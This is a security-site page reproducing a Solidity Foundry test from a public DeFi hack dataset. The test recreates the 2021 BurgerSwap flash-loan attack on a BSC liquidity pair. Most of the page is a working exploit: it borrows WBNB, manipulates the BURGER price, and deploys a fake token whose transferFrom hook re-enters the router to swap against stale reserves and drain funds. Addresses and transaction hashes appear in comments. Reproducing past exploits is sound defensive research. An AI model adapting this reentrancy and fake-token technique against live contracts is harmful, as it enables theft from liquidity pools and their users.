Skip to content
THREATWIRE

Public reproduction file

src/test/2021-05/BurgerSwap_exp.sol

Public reproduction file for dataset entry BurgerSwap.

Code

Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.

src/test/2021-05/BurgerSwap_exp.sol189 lines
1// SPDX-License-Identifier: UNLICENSED
2pragma solidity ^0.8.17;
3
4import "forge-std/Test.sol";
5
6// Attacker: 0x6c9f2b95ca3432e5ec5bcd9c19de0636a23a4994
7// Attack Contract: 0xae0f538409063e66ff0e382113cb1a051fc069cd
8// Objective: Drain funds in the vulnerable Burger LP contract: 0x7ac55ac530f2c29659573bde0700c6758d69e677 (Demax WBNB<>BURGER pair)
9// Attack Tx: https://phalcon.xyz/tx/bsc/0xac8a739c1f668b13d065d56a03c37a686e0aa1c9339e79fcbc5a2d0a6311e333
10// https://bscscan.com/tx/0xac8a739c1f668b13d065d56a03c37a686e0aa1c9339e79fcbc5a2d0a6311e333
12// @Analyses (somewhat similar to Impossible Finance exploit)
13// https://lunaray.medium.com/burgerswap-attack-analysis-c0345541d69
14// https://quillhashteam.medium.com/burgerswap-flash-loan-attack-analysis-888b1911daef
16contract Exploit is Test {
17 IERC20 private constant WBNB = IERC20(0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c);
18 IERC20 private constant BURGER = IERC20(0xAe9269f27437f0fcBC232d39Ec814844a51d6b8f);
20 IUniswapV2Pair private constant USDT_WBNB = IUniswapV2Pair(0x16b9a82891338f9bA80E2D6970FddA79D1eb0daE);
22 IDemaxPlatform private constant demaxPlatform = IDemaxPlatform(0xBf6527834dBB89cdC97A79FCD62E6c08B19F8ec0); // router
23 IDemaxDelegate private constant demaxDelegate = IDemaxDelegate(0xd0dd735851C1Ca61d0324291cCD3959d2153A88d); // factory
25 FAKE_TOKEN FAKE;
27 function setUp() public {
28 vm.createSelectFork("bsc", 7_781_159);
29 }
31 function testExploit() public {
32 // BURGER and WBNB in Pair before: 164603 <> 3038
33 USDT_WBNB.swap(0, 6_047_132_230_250_298_663_393, address(this), "Flashloan 6047 WBNB");
34 // BURGER and WBNB in Pair after: 53606 <> 622
36 console.log("BURGER exploited:", BURGER.balanceOf(address(this)) / 1e18);
37 console.log("WBNB exploited:", WBNB.balanceOf(address(this)) / 1e18);
38 }
40 function pancakeCall(address, uint256, uint256 amount1, bytes memory) public {
41 // swap 6047 WBNB for 92677 BURGER (pump BURGER price)
42 WBNB.approve(address(demaxPlatform), type(uint256).max);
43 BURGER.approve(address(demaxPlatform), type(uint256).max);
45 address[] memory path = new address[](2);
46 path[0] = address(WBNB);
47 path[1] = address(BURGER);
48 demaxPlatform.swapExactTokensForTokens(WBNB.balanceOf(address(this)), 0, path, address(this), type(uint256).max);
50 // create FAKE token, create FAKE<>BURGER pair and add 100 FAKE <> 45452 BURGER liquidity (addLiquidity() creates Pair if Pair doesn't exist)
51 FAKE = new FAKE_TOKEN(address(this));
53 FAKE.approve(address(demaxPlatform), type(uint256).max);
54 BURGER.approve(address(demaxDelegate), type(uint256).max);
55 demaxDelegate.addLiquidity(address(FAKE), address(BURGER), 100, 45_452 ether, 0, 0, type(uint256).max); // 47225 BURGER left after addLiquidity()
57 FAKE.enableExploit();
59 // use malicious path to swap 1 FAKE -> 45452 BURGER -> 4478 WBNB (will use false amounts which were already calculated before the inner swap) [Second swap]
60 // and another 45452 BURGER -> 4478 WBNB (same price, no slippage incurred) [First swap]
61 /*
62 WBNB -> BURGER ----> FAKE <> BURGER
64 FAKE -----------------> BURGER -> WBNB
65 | ^
66 v |
67 BURGER -> WBNB |
68 */
69 address[] memory path2 = new address[](3);
70 path2[0] = address(FAKE);
71 path2[1] = address(BURGER);
72 path2[2] = address(WBNB);
73 demaxPlatform.swapExactTokensForTokens(1 ether, 0, path2, address(this), type(uint256).max); // trigger transferFrom() hook in FAKE then enter()
75 // swap 494 WBNB for 108k BURGER (small amount of WBNB for large amount of BURGER) to bring back normal price
76 path[0] = address(WBNB);
77 path[1] = address(BURGER);
78 demaxPlatform.swapTokensForExactTokens(108_791 ether, 494 ether, path, address(this), type(uint256).max);
80 // repay 0.3% fee
81 WBNB.transfer(address(USDT_WBNB), amount1 * 1000 / 997);
82 }
84 function enter() public {
85 // swap another 45452 BURGER for 4478 WBNB (this inner BURGER -> WBNB swap uses the correct reserves) and is not locked yet
86 address[] memory path = new address[](2);
87 path[0] = address(BURGER);
88 path[1] = address(WBNB);
89 demaxPlatform.swapExactTokensForTokens(45_452 ether, 0, path, address(this), type(uint256).max);
91 FAKE.disableExploit();
92 }
95contract FAKE_TOKEN {
96 uint256 public totalSupply = 100 ether;
97 mapping(address => uint256) public balanceOf;
98 mapping(address => mapping(address => uint256)) public allowance;
100 Exploit private immutable exploit;
101 bool private isExploiting;
103 constructor(
104 address main
105 ) {
106 balanceOf[main] = 99 ether;
107 exploit = Exploit(main);
108 }
110 function transferFrom(address sender, address recipient, uint256 amount) external returns (bool) {
111 unchecked {
112 allowance[sender][msg.sender] -= amount;
113 balanceOf[sender] -= amount;
114 balanceOf[recipient] += amount;
115 }
117 if (isExploiting) {
118 exploit.enter();
119 }
120 return true;
121 }
123 function enableExploit() public {
124 isExploiting = true;
125 }
127 function disableExploit() public {
128 isExploiting = false;
129 }
131 function transfer(address, uint256) external pure returns (bool) {
132 return true;
133 }
135 function approve(address, uint256) external pure returns (bool) {
136 return true;
137 }
140/* ---------------------- Interface ---------------------- */
141interface IERC20 {
142 function transfer(address to, uint256 amount) external returns (bool);
143 function approve(address spender, uint256 amount) external returns (bool);
144 function balanceOf(
145 address account
146 ) external view returns (uint256);
147 function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
150interface IDemaxPlatform {
151 function swapExactTokensForTokens(
152 uint256 amountIn,
153 uint256 amountOutMin,
154 address[] memory path,
155 address to,
156 uint256 deadline
157 ) external returns (uint256[] memory amounts);
159 function swapTokensForExactTokens(
160 uint256 amountOut,
161 uint256 amountInMax,
162 address[] memory path,
163 address to,
164 uint256 deadline
165 ) external returns (uint256[] memory amounts);
168interface IDemaxDelegate {
169 function addLiquidity(
170 address tokenA,
171 address tokenB,
172 uint256 amountADesired,
173 uint256 amountBDesired,
174 uint256 amountAMin,
175 uint256 amountBMin,
176 uint256 deadline
177 ) external returns (uint256 amountA, uint256 amountB, uint256 liquidity);
180interface IUniswapV2Pair {
181 function balanceOf(
182 address
183 ) external view returns (uint256);
184 function skim(
185 address to
186 ) external;
187 function sync() external;
188 function swap(uint256 amount0Out, uint256 amount1Out, address to, bytes memory data) external;

Analysis

Dataset entry

Public Foundry test for “BurgerSwap” (2021-05-27). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.

Related files

6 linked

Imports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.

Listed in the source file

Listed by the source dataset, not verified by ThreatWire

  • Attacker

    0x6c9f2b95ca3432e5ec5bcd9c19de0636a23a4994

  • Attack Contract

    0xae0f538409063e66ff0e382113cb1a051fc069cd

  • Attack Tx

    0xac8a739c1f668b13d065d56a03c37a686e0aa1c9339e79fcbc5a2d0a6311e333

File record

Name
BurgerSwap
Path
src/test/2021-05/BurgerSwap_exp.sol
Repository
SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
Commit
7363f76db51f0fea97f8e659b20ee8bdc5fbca25
Blob
a8c11c1d2a1d8245e62c91577adcfe798a4d9977
Language
Solidity
Size
190 lines
Date
2021-05-27
Licence
file header UNLICENSED; repository Apache-2.0
Retrieved
2026-10-19

Provenance

Path src/test/2021-05/BurgerSwap_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob a8c11c1d2a1d8245e62c91577adcfe798a4d9977, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.